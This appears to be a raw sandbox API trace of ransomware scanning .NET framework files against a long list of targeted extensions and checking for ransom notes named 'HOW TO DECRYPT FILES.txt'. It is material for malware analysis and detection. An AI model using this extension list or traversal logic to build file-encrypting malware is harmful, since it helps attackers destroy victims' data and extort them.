[0135.768] lstrlenA (lpString="*.qbo") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qbx") returned 0 [0135.769] lstrlenA (lpString="*.qbx") returned 5 [0135.769] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qba") returned 0 [0135.769] lstrlenA (lpString="*.qba") returned 5 [0135.769] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qby") returned 0 [0135.997] lstrlenA (lpString="*.qby") returned 5 [0135.997] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qbj") returned 0 [0135.997] lstrlenA (lpString="*.qbj") returned 5 [0135.997] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.ofx") returned 0 [0135.997] lstrlenA (lpString="*.ofx") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qif") returned 0 [0135.998] lstrlenA (lpString="*.qif") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mye") returned 0 [0135.998] lstrlenA (lpString="*.mye") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mbox") returned 0 [0135.998] lstrlenA (lpString="*.mbox") returned 6 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.eml") returned 0 [0135.998] lstrlenA (lpString="*.eml") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.pst") returned 0 [0135.998] lstrlenA (lpString="*.pst") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.ost") returned 0 [0135.998] lstrlenA (lpString="*.ost") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.idx") returned 0 [0135.998] lstrlenA (lpString="*.idx") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.dbx") returned 0 [0135.998] lstrlenA (lpString="*.dbx") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.sql") returned 0 [0135.998] lstrlenA (lpString="*.sql") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mdb") returned 0 [0135.998] lstrlenA (lpString="*.mdb") returned 5 [0135.998] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.fdb") returned 0 [0135.999] lstrlenA (lpString="*.fdb") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.wab") returned 0 [0135.999] lstrlenA (lpString="*.wab") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.dat") returned 0 [0135.999] lstrlenA (lpString="*.dat") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.txt") returned 0 [0135.999] lstrlenA (lpString="*.txt") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.jpeg") returned 0 [0135.999] lstrlenA (lpString="*.jpeg") returned 6 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.jpg") returned 0 [0135.999] lstrlenA (lpString="*.jpg") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.png") returned 0 [0135.999] lstrlenA (lpString="*.png") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.php") returned 0 [0135.999] lstrlenA (lpString="*.php") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.cs") returned 0 [0135.999] lstrlenA (lpString="*.cs") returned 4 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.cpp") returned 0 [0135.999] lstrlenA (lpString="*.cpp") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.rar") returned 0 [0135.999] lstrlenA (lpString="*.rar") returned 5 [0135.999] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.zip") returned 0 [0136.000] lstrlenA (lpString="*.zip") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.html") returned 0 [0136.000] lstrlenA (lpString="*.html") returned 6 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.htm") returned 0 [0136.000] lstrlenA (lpString="*.htm") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.xlsx") returned 0 [0136.000] lstrlenA (lpString="*.xlsx") returned 6 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.xls") returned 0 [0136.000] lstrlenA (lpString="*.xls") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mp4") returned 0 [0136.000] lstrlenA (lpString="*.mp4") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.ppt") returned 0 [0136.000] lstrlenA (lpString="*.ppt") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.pptx") returned 0 [0136.000] lstrlenA (lpString="*.pptx") returned 6 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.doc") returned 0 [0136.000] lstrlenA (lpString="*.doc") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.dot") returned 0 [0136.000] lstrlenA (lpString="*.dot") returned 5 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.docx") returned 0 [0136.000] lstrlenA (lpString="*.docx") returned 6 [0136.000] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.7z") returned 0 [0136.001] lstrlenA (lpString="*.7z") returned 4 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.tar") returned 0 [0136.001] lstrlenA (lpString="*.tar") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.bz2") returned 0 [0136.001] lstrlenA (lpString="*.bz2") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.gz") returned 0 [0136.001] lstrlenA (lpString="*.gz") returned 4 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mkv") returned 0 [0136.001] lstrlenA (lpString="*.mkv") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.eml") returned 0 [0136.001] lstrlenA (lpString="*.eml") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.msg") returned 0 [0136.001] lstrlenA (lpString="*.msg") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.edb") returned 0 [0136.001] lstrlenA (lpString="*.edb") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.accdb") returned 0 [0136.001] lstrlenA (lpString="*.accdb") returned 7 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.odb") returned 0 [0136.001] lstrlenA (lpString="*.odb") returned 5 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.java") returned 0 [0136.001] lstrlenA (lpString="*.java") returned 6 [0136.001] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.asm") returned 0 [0136.002] lstrlenA (lpString="*.asm") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.pfx") returned 0 [0136.002] lstrlenA (lpString="*.pfx") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.pem") returned 0 [0136.002] lstrlenA (lpString="*.pem") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.p12") returned 0 [0136.002] lstrlenA (lpString="*.p12") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.gpg") returned 0 [0136.002] lstrlenA (lpString="*.gpg") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.vsd") returned 0 [0136.002] lstrlenA (lpString="*.vsd") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.odg") returned 0 [0136.002] lstrlenA (lpString="*.odg") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.raw") returned 0 [0136.002] lstrlenA (lpString="*.raw") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.nef") returned 0 [0136.002] lstrlenA (lpString="*.nef") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.svg") returned 0 [0136.002] lstrlenA (lpString="*.svg") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.psd") returned 0 [0136.002] lstrlenA (lpString="*.psd") returned 5 [0136.002] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.vmx") returned 0 [0136.003] lstrlenA (lpString="*.vmx") returned 5 [0136.003] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.vmdk") returned 0 [0136.003] lstrlenA (lpString="*.vmdk") returned 6 [0136.003] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.vdi") returned 0 [0136.003] lstrlenA (lpString="*.vdi") returned 5 [0136.003] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.lay6") returned 0 [0136.003] lstrlenA (lpString="*.lay6") returned 6 [0136.003] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mpeg") returned 0 [0136.003] lstrlenA (lpString="*.mpeg") returned 6 [0136.003] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.djvu") returned 0 [0136.003] lstrlenA (lpString="*.djvu") returned 6 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.tiff") returned 0 [0136.004] lstrlenA (lpString="*.tiff") returned 6 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.backup") returned 0 [0136.004] lstrlenA (lpString="*.backup") returned 8 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.pdf") returned 0 [0136.004] lstrlenA (lpString="*.pdf") returned 5 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.cert") returned 0 [0136.004] lstrlenA (lpString="*.cert") returned 6 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.docm") returned 0 [0136.004] lstrlenA (lpString="*.docm") returned 6 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.xlsm") returned 0 [0136.004] lstrlenA (lpString="*.xlsm") returned 6 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.dwg") returned 0 [0136.004] lstrlenA (lpString="*.dwg") returned 5 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.nd") returned 0 [0136.004] lstrlenA (lpString="*.nd") returned 4 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.tlg") returned 0 [0136.004] lstrlenA (lpString="*.tlg") returned 5 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.lgb") returned 0 [0136.004] lstrlenA (lpString="*.lgb") returned 5 [0136.004] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mov") returned 0 [0136.004] lstrlenA (lpString="*.mov") returned 5 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.xdw") returned 0 [0136.005] lstrlenA (lpString="*.xdw") returned 5 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.ods") returned 0 [0136.005] lstrlenA (lpString="*.ods") returned 5 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.wav") returned 0 [0136.005] lstrlenA (lpString="*.wav") returned 5 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.mp3") returned 0 [0136.005] lstrlenA (lpString="*.mp3") returned 5 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.aiff") returned 0 [0136.005] lstrlenA (lpString="*.aiff") returned 6 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.flac") returned 0 [0136.005] lstrlenA (lpString="*.flac") returned 6 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.m4a") returned 0 [0136.005] lstrlenA (lpString="*.m4a") returned 5 [0136.005] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.csv") returned 0 [0136.005] lstrlenA (lpString="*.csv") returned 5 [0136.005] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x68000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.configuration.dll", cAlternateFileName="")) returned 1 [0136.005] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.configuration.dll") returned -1 [0136.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.configuration.dll") returned -1 [0136.005] lstrcmpiA (lpString1="", lpString2="System.configuration.dll") returned -1 [0136.005] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll") returned="sysglobl.dll" [0136.006] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.006] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.006] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.006] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.006] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.configuration.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll" [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.ems") returned 0 [0136.006] lstrlenA (lpString="*.ems") returned 5 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.db") returned 0 [0136.006] lstrlenA (lpString="*.db") returned 4 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.dbf") returned 0 [0136.006] lstrlenA (lpString="*.dbf") returned 5 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.myox") returned 0 [0136.006] lstrlenA (lpString="*.myox") returned 6 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.myo") returned 0 [0136.006] lstrlenA (lpString="*.myo") returned 5 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qbw") returned 0 [0136.006] lstrlenA (lpString="*.qbw") returned 5 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qbb") returned 0 [0136.006] lstrlenA (lpString="*.qbb") returned 5 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qbm") returned 0 [0136.006] lstrlenA (lpString="*.qbm") returned 5 [0136.006] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qbo") returned 0 [0136.007] lstrlenA (lpString="*.qbo") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qbx") returned 0 [0136.007] lstrlenA (lpString="*.qbx") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qba") returned 0 [0136.007] lstrlenA (lpString="*.qba") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qby") returned 0 [0136.007] lstrlenA (lpString="*.qby") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qbj") returned 0 [0136.007] lstrlenA (lpString="*.qbj") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.ofx") returned 0 [0136.007] lstrlenA (lpString="*.ofx") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.qif") returned 0 [0136.007] lstrlenA (lpString="*.qif") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.mye") returned 0 [0136.007] lstrlenA (lpString="*.mye") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.mbox") returned 0 [0136.007] lstrlenA (lpString="*.mbox") returned 6 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.eml") returned 0 [0136.007] lstrlenA (lpString="*.eml") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.pst") returned 0 [0136.007] lstrlenA (lpString="*.pst") returned 5 [0136.007] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.ost") returned 0 [0136.007] lstrlenA (lpString="*.ost") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.idx") returned 0 [0136.008] lstrlenA (lpString="*.idx") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.dbx") returned 0 [0136.008] lstrlenA (lpString="*.dbx") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.sql") returned 0 [0136.008] lstrlenA (lpString="*.sql") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.mdb") returned 0 [0136.008] lstrlenA (lpString="*.mdb") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.fdb") returned 0 [0136.008] lstrlenA (lpString="*.fdb") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.wab") returned 0 [0136.008] lstrlenA (lpString="*.wab") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.dat") returned 0 [0136.008] lstrlenA (lpString="*.dat") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.txt") returned 0 [0136.008] lstrlenA (lpString="*.txt") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.jpeg") returned 0 [0136.008] lstrlenA (lpString="*.jpeg") returned 6 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.jpg") returned 0 [0136.008] lstrlenA (lpString="*.jpg") returned 5 [0136.008] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.png") returned 0 [0136.008] lstrlenA (lpString="*.png") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.php") returned 0 [0136.009] lstrlenA (lpString="*.php") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.cs") returned 0 [0136.009] lstrlenA (lpString="*.cs") returned 4 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.cpp") returned 0 [0136.009] lstrlenA (lpString="*.cpp") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.rar") returned 0 [0136.009] lstrlenA (lpString="*.rar") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.zip") returned 0 [0136.009] lstrlenA (lpString="*.zip") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.html") returned 0 [0136.009] lstrlenA (lpString="*.html") returned 6 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.htm") returned 0 [0136.009] lstrlenA (lpString="*.htm") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.xlsx") returned 0 [0136.009] lstrlenA (lpString="*.xlsx") returned 6 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.xls") returned 0 [0136.009] lstrlenA (lpString="*.xls") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.mp4") returned 0 [0136.009] lstrlenA (lpString="*.mp4") returned 5 [0136.009] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.ppt") returned 0 [0136.009] lstrlenA (lpString="*.ppt") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.pptx") returned 0 [0136.010] lstrlenA 